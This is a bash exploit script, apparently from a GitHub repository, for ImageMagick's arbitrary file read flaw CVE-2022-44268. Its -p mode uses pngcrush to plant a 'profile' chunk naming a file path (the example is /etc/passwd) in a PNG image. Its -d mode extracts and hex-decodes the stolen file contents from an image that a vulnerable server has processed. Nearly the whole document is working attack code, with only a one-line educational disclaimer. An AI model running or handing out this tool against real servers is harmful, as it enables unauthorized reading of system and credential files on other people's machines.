#!/bin/bash

# https://github.com/atici/Exploit-for-ImageMagick-CVE-2022-44268.git
# Tool made for ImageMagick Arbitrary File Read Vulnerability CVE-2022-44268
# All the code provided on this repository is for educational/research purposes only.

## Credits
# Original Report: https://www.metabaseq.com/imagemagick-zero-days/
# Original Poc : https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC.git
# Inspiration for the project : https://github.com/Ashifcoder/CVE-2022-44268-automated-poc

usage() {
	echo "Usage"
	echo "$0 -p [Path to Read] [PNG Image] [Output(Optional, if not used defaults to pngout.png)]"
	echo "$0 -d [PNG Image]"
	echo ""
	echo "Examples"
	echo "$0 -p /etc/passwd sample.png output.png"
	echo "$0 -d pngout.png"
	echo ""
	echo "Options"
	echo "-h = Show help."
	echo "-p = Add the exploit code to a PNG image."
	echo "-d = Extract and decode the read file."
	echo ""
	echo "https://github.com/atici/Exploit-for-ImageMagick-CVE-2022-44268.git"
}


missing_programs() {
        echo "Some packages are missing to run this command."
        echo "To install the packages use: \"sudo apt-get install imagemagick exiftool pngcrush exiv2 -y\""
}

while getopts ":hd:p:" flag ; do
    case $flag in
	h)
	usage
	exit 0
	;;

	d)
	# This pine parses the image data and extracts the required part. Special thanks to @Ashifcoder .
	if [ ! -f $OPTARG ]
	then
	echo "File not found: $OPTARG"
	exit 0
	fi

	if ! command -v identify &> /dev/null
	then
	missing_programs
	exit 0
	fi

	hex_data=$(identify -verbose $OPTARG | sed -n '/Raw profile/,/signature/p'  | head -n -2 | tail -n +4 | tr -d '\n')
	echo "Data extracted from $OPTARG:"
	echo $hex_data |xxd -p -r
	exit 1
	;;

	p)
	path_string="$OPTARG"
	;;

	?)
	echo "Invalid option"
	usage
	exit 0
	;;
    esac
    shift $(( OPTIND -1 ))
done

if [ ! -f $1 ]
then
    echo "File not found: $1"
    usage
    exit 0
fi

if ! command -v pngcrush &> /dev/null
        then
        missing_programs
        exit 0
        fi
pngcrush -text a "profile" "$path_string" $1 $2 2> /dev/null
echo "Done!"
exit 1